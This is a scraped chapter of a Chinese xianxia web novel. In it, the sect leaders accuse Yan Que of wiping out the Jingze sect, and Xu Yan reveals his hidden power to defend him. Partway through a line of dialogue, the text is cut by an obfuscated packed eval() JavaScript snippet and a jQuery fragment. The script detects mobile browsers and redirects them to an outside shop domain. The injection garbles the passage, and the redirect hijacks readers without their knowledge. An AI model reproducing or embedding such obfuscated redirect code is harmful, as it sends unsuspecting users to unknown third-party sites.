文趣网 > 其他小说 > 淮相 > 46. 第 46 章
    巳时。

    一见湖外,八大宗门各带着千余弟子齐聚于此,是敬泽门自立派以来从未有过的热闹。

    可他们只一堵墙般堵在那,对着已成废墟的敬泽议论纷纷,再无其他动作。

    淮相跳上一棵秃树,这才看清了此处景象。

    连结宗门与湖岸的寒烟锁尽数被斩断,建筑皆坍塌为碎玉,唯有限制外人出入一见湖的禁制结界——也就是敬泽门地基未被摧毁,原本正中处的缺口被堵死,无法打捞尸体,湖中尽是断肢残骸。

    可这处死水却未被血染红,诡异至极。

    至于那挨打的客商说的湖水毒死周遭生灵,则是传言辗转流传的结果。

    眼见方为实,淮相跳下秃树,隐去身形越过近万人头顶,在结界之上细细辨别起来。

    水中是连片的蓝衣,全部是敬泽修士。

    她又仔细辨别着裸露的人脸,不是遮掩的法术,不是致幻的结界,是真的……

    敬泽是真的被灭门了……

    谁有这样的本事?

    淮相心不在焉的越过人墙,抬首便看到远处匆匆赶来的蓝色身影。

    她赶忙拦住许延去路,“你回来做什么?”

    许延声音急切,“今晨我与长老复命时与敬泽失去联系,心下焦急,顾不得掌门交待便回来了。”

    淮相深吸一口气,“你先听我说完再决定要不要回去。”

    “敬泽被灭门,明面上看无一人生还。”

    一里外的人群忽然异动,是有人在湖中的浮尸里找到了汤贤。

    敬泽各职位服饰皆是蓝色,只在纹样处有差别,一同泡在水里更是叫人无法分辨。

    许延修为不低,听着如在耳边的议论声,面色发白,“掌门都死了……”

    短暂的惊骇后,许延恢复镇静:“我会回去。”

    淮相在许延的眼中看懂他的意思。她向许延颔首,“祝你成功。”

    本应在此处等待的晏却没了身影,她回身看向身后的乱象,认命的折了回去。

    晏却立在人群边缘。

    “这点小事也怕我做不好吗,还要来监工。”她只说来看一眼,看看是不是那样惨不忍睹,敬泽门真的有太多人了,她就是真的想做什么也无从下手。

    晏却没有说话,淮相在他平静无波的脸上看出古怪。

    她说:“人死不能复生。”

    这一切发生的太突然,又是相熟知的地方,若说心里不沉重才是假的。

    晏却道:“你应该看出来,这里没有妖魔气息。”

    这才是最令人心寒的地方。

    淮相:“所以我们才要离远些啊。”

    “你以为走远了,麻烦就不会找上门来吗?”

    应验般,淮相身后传来凌峰痛心疾首的声音:“若澜,昨夜你去了哪里?”

    晏却出手将淮相从身前拨进人群,换上副嘲讽表情,“与你何干。”

    凌峰生怕旁人听不见一般,还用上扩音术,晏却不可能给他好脸色。

    众人见几位大人物往这处来了,纷纷后退着为他们留出一大片空地来。

    白畅有些可怜起凌峰来:“成何体统啊,他平日里就是这样和宗主讲话的……”

    宋垐道:“舒颜,晏长老是你我的前辈,前辈如何也是你我能置喙的?”

    白畅嗤笑一声,“传绪门的前辈皆已飞升天界,我可没有乱认前辈的习惯。”

    晏却厌烦这种问罪前的倒胃流程,“你们先停下,有什么话直说。”

    宋垐也不再绕弯子:“还请前辈告知我等,昨夜因何彻夜未归。”

    晏却眼光流转过眼前几人,兀自取出惊鸿,一手托着剑身一手轻抚剑鞘,连眼神也未分给他们,“观星。”

    宋垐等人根本不惧怕他:“此事非同小可,前辈莫要儿戏。”

    他继续抚着剑鞘,“夜观星象,够正式了吗?”

    姜琉问:“那么敢问晏前辈,这一夜观出什么结果来了?”

    晏却:“你们要完了。”

    姜琉听出自己被耍了,“你——”

    晏却抚剑的动作一滞,“怎么?要打架?”

    宋垐拦住暴怒的姜琉等人,“还请前辈配合一二。”

    “配合什么?如果没有证据,只是因为我昨夜不在望鹄山便怀疑我屠人满门,我不接受。”

    宋垐面对晏却如此态度也不恼火,他依旧温和道:“可有人能证明前辈所言属实?”

    晏却微笑,“无。”任谁来为他正名都会被扣上同党的罪名,何必多此一举。

    “前辈若是不能证实昨夜去向——”

    他打断宋垐的废话,“想要我性命直说也无妨,何必找这样冠冕堂皇的借口?”

    各掌门在晏却取剑时便已召出本命武器,只等宋垐一声令下。

    顶空缓缓浮现出虚幻光影,如水波般晃动起伏如梦似幻。但无人欣赏,因为眼前有更引人注目的热闹场面。

    “诸位,可否容我一言?”

    剑拔弩张的氛围下,这样温和的一句话尤为突兀。

    许延不知何时出现,向众人行了一礼。

    宋垐见来人一身蓝衣,眉头紧皱道:“你是何人?”

    “在下敬泽门许延。”

    前一刻确认灭满门,后一刻便有人跳出来说自己是门派后人,宋垐心道此人着实大胆。

    他问:“如何证明?”

    许延递上镌刻姓名的令牌,抬首时已被许多人认出。

    许延模样出挑,配上一身蓝衣更好辨认,正是那为敬泽门守了近二百年大门的门侍。

    令牌不假。

    白畅不屑道:“区区内门,也敢拦本尊行事。”

    许延不答。

    姜琉上下扫视许延一番:“你此刻上前,是要本尊代汤贤罚你个私自外出之罪吗?”

    许延不答。

    宋垐也有些不耐:“你究竟要说什么?”

    “晚辈被宗主派出宗门,昨日恰巧与晏前辈同路,特来作证。”

    晏却用怪异的眼神看向许延,没戳穿他的谎言。

    许延继续道:“直到辰时才分别。”

    刀都拔出来了来这一遭,姜琉耐心告罄,“你说什么便是什么?证据呢?本尊还说是你们狼狈为奸一同害死了汤贤!”

    “凭叛宗者执宗主令会遭天罚,神仙总不会作伪。”

    这下连宋垐都忍不住笑出声来,这门侍当真不知天高地厚,居然妄想接任一大门派——哪怕这门派已空无一人。

    晏却:“跟他们废什么话,人家觊觎这一见湖的天材地宝,好不容易有了机会,怎么会让给你?”

    许延轻叹一声,转瞬间收起谦恭召出武器,“那便只能打了。”

    饶是这些见惯世面的宗派之主也有些惊讶,敬泽门竟然连一个门侍都身怀本命武器,究竟得富成什么样子?

    姜琉嘲讽道:“瘸驴配再好的磨又有什么用?”

    在他眼里,许延这样的境界与残废无异。

    身为百川门掌门,姜琉对敬泽门的意见尤其大,得知敬泽灭门,他不惜用上不栖使也要带着弟子来看热闹,此刻一小小门侍也敢来挑衅他这一门之主,他如何咽的下这口气?

    “许某是什么,你说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614351|206042||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了不算。”

    许延解开身上隐藏修为与境界的禁制,冲天的威压倾泻而出,直冲得在场远观弟子连滚带爬后退几丈。

    许延竟然一直在藏拙,还藏了两个境界。

    几位掌门尚能应对,面色却凝重起来,许延的修为怕是已经到修士所极,正统修士修炼一年只长一年修为,这门童定是得过什么机缘。

    这样的论断如同火上浇油。

    修真界人人瞧不上的门侍居然是隐藏修为的绝世高手,道行甚至在晏却之上,有人暗暗掐了自己一把,终是失望。

    这样的故事在修真界发生过许多次,可再次印证在一个门侍身上,又叫许多人愤愤不平起来。

    这一仗不打是不可能的。

    原本几人对付晏却只是觉得时机正好,谁知忽然冒出个许延来。

    不借着这次“师出有名”将这个麻烦处理掉,难道要他们这些名门正派去偷去抢吗?

    修真界大半的法宝皆埋在湖底,敬泽门守财奴一般守着一见湖,这些年遭了多少忌恨。因这一分被发现的可能放弃这一池宝物,谁又能甘心?

    可眼下他们八人未必打得过这二人,若是闹得太大被天上神仙察觉,他们该如何收场?

    宋垐等人有些后悔带了这么多弟子,他们子时收到汤贤模棱两可的求救后却互相传信按兵不动,一是不清楚来犯者数量多少修为如何,二是无令,弟子无令在身便无战斗力,明哲保身才是上策。

    原想着又是妖魔所为,有长明魂灯在,汤贤等人并不会真正身陨,而将他们这些高阶修士复活需要执灯人拥有更高的修为,他们便只带来些苦力重修敬泽。

    谁承想对方居然熟知敬泽布局,毁掉了他们所有的后路。

    也许是妖魔夺舍弟子当了细作,也许是敬泽本身出了细作,这些都不重要,重要的是敬泽真的被灭门,真相如何,死无对证。

    只是——

    这许延的真正实力似乎没有那么强。

    他毕竟只是内门弟子,没有亲传那样好的资质,得到机缘也发挥不到极致,宋垐等人也发觉他更好对付,三人牵制晏却,其余人转去围攻许延。

    哪怕许延几招过后越发得心应手,也不是五个人的对手,晏却既要对付身边三人,还要分心为许延挡下偷袭,打得又累又憋屈。

    身上挨了一刀,疼痛短暂的缓解着他紧绷的情绪。从晏却对宗派失去敬畏之心时,他便知道自己早晚有这一遭。

    晏却是修真界的异类。异样的眼光受得多了,他从敏感到麻木,从麻木到漠视,可只要同门对他尚存基本的尊重,他便还觉得长宁台是他的家。

    揽岳几乎占据他的全部,他一生最恣意时在此处,最迷蒙时在此处,最无畏时在此处,最痛苦时在此处……

    怎么可能没有感情呢?

    活得太久不是件好事,他眼瞧着亲朋离世,眼瞧着师兄弟飞升,眼瞧着身边人弃他而去,最后孤身一人。

    便是孤身一人的结果也有人不满。身边人越发大胆,敢当众作践他,他想,长宁台很快也不是他的家了。

    晏却控制不住自己日渐沉郁的情绪,找不到活下去的理由时,他便来一见湖医心病。对此处,他当真又爱又恨。

    后来,同门为他准备致躁的毒

    物,他闲暇的时间全部用来怨天尤人,连轻生的念头也轻了许多,他会想,好名声换一条命,究竟值不值。

    再后来,他与同门撕破脸后,一见湖水也不顶用了,宗门不愿留他,连上天也不愿留他,他该去哪里呢?

    去死吗?

    可此刻,他比任何人都想活下去。